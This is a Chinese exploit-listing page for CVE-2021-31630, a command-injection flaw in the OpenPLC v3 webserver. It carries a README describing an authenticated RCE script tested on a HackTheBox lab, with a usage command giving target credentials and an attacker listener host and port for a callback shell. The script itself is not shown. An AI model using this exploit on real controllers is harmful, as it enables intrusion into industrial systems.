POC详情: a4206b41d5719f22742301850e29b56316043609

来源
关联漏洞
标题: OpenPLC 代码注入漏洞 (CVE-2021-31630)
描述:OpenPLC是一种开源的可编程逻辑控制器。可为自动化和研究提供低成本的工业解决方案。 OpenPLC v3 存在代码注入漏洞,该漏洞源于产品的web服务中 /hardware 页面的Hardware Layer Code Box组件未能过滤输入的特殊字符。攻击者可通过该漏洞执行系统命令。
描述
OpenPLC 3 WebServer Authenticated Remote Code Execution.
介绍
# CVE-2021-31630
OpenPLC 3 WebServer Authenticated Remote Code Execution.

# Description
The presence of Command Injection in Open PLC Webserver v3 enables remote attackers to run arbitrary code. Only tested in HTB Wifinetictwo.htb machine.

I found problems with all the scripts that exploited the vulnerability, maybe because I'm using parrot or my browser, chromium works for login, I had login problems with Firefox and something strange happens to the web server with the POST request to log in.
I have modified the script from [thewhiteh4t](https://github.com/thewhiteh4t/cve-2021-31630) there are parts (mainly upload method) that are just copied, but I have changed the part that obtains the cookies from the server to launch the exploit.

The original PoC is provided by [Fellipe Oliveira](https://packetstormsecurity.com/files/162563/OpenPLC-WebServer-3-Remote-Code-Execution.html)

I hope it helps you if you have problems with it.

## Dependencies
```
pip3 install requests
```

## Usage
```
python3 exploit.py http://10.129.x.x:8080 user pass --lhost 10.10.x.x --lport xxxx
```

Alternative, yo can modify exploit.py
```
...
# LHOST y LPORT defaults
LHOST = '10.10.1.1'
LPORT = '4444'
...

python3 exploit.py http://10.129.x.x:8080 user pass
```
文件快照

[4.0K] /data/pocs/a4206b41d5719f22742301850e29b56316043609 ├── [7.7K] exploit.py └── [1.2K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。